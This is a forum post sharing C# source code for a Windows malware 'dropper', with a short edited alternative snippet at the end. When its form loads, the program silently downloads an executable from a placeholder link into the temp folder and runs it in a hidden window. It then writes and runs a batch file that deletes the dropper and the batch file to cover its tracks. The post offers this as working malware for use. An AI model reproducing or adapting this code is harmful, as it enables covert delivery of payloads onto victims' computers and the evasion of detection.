Dropper .NET 2.0 C#

[Technetium]

using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Windows.Forms;

namespace downloader
{
   public partial class Form1 : Form
   {
       public Form1()
       {
           InitializeComponent();
       }

       public void Download(string url)
       {
           WebClient me = new WebClient();
           me.DownloadFile(url, Path.GetTempPath()+ "\\bInarY.exe");
       }

       public void Run(string path, string app, string agr)
       {
           Process proc = new Process();
           proc.StartInfo.WorkingDirectory = path;
           proc.StartInfo.FileName = app;
           proc.StartInfo.Arguments = agr;
           proc.StartInfo.CreateNoWindow = false;
           proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
           proc.Start();
       }

       public void Delete()
       {
           string[] lines = { "@echo off", "TIMEOUT /T 2", "del " + Application.ExecutablePath, "del " + Path.GetTempPath() + "\\d1l.bat" };
           File.WriteAllLines(Path.GetTempPath() + "\\d1l.bat", lines);
           Run(Path.GetTempPath()+"\\", "d1l.bat", "");
       }

       private void Form1_Load(object sender, EventArgs e)
       {
           Download("LINK");
           Run(Path.GetTempPath()+"\\", "bInarY.exe", "");
           Delete();
           Application.Exit();
       }
   }
}

 

replace:

using (var client = new WebClient ()) 
{ 
var data = client.DownloadData (url); 
File.WriteAllBytes (Path.GetTempPath () + "binary.exe", data); 
}

Edited September 2, 2017 by Technetium